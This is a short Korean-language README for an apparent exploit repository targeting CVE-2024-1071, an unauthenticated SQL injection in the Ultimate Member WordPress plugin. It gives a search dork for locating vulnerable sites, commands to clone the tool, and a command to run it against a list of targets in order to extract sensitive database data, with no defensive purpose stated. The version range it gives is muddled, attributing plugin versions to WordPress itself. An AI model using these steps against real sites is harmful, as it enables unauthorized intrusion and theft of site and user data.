워드프레스 CVE 2024-1071 SQL 익스플로잇

이 익스플로잇은 워드프레스 버전 2.1.3부터 2.8.2에서 실행되며, 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 삽입하여 데이터베이스에서 민감한 정보를 추출할 수 있도록 합니다.

Dork: body="/wp-content/plugins/ultimate-member"

1)

• git clone https://github.com/Dogu589/WordPress-Exploit-CVE-2024-1071.git
• cd WordPress-Exploit-CVE-2024-1071

2)

python3 WordPressExploit.py -f target.txt

CVE

https://nvd.nist.gov/vuln/detail/CVE-2024-1071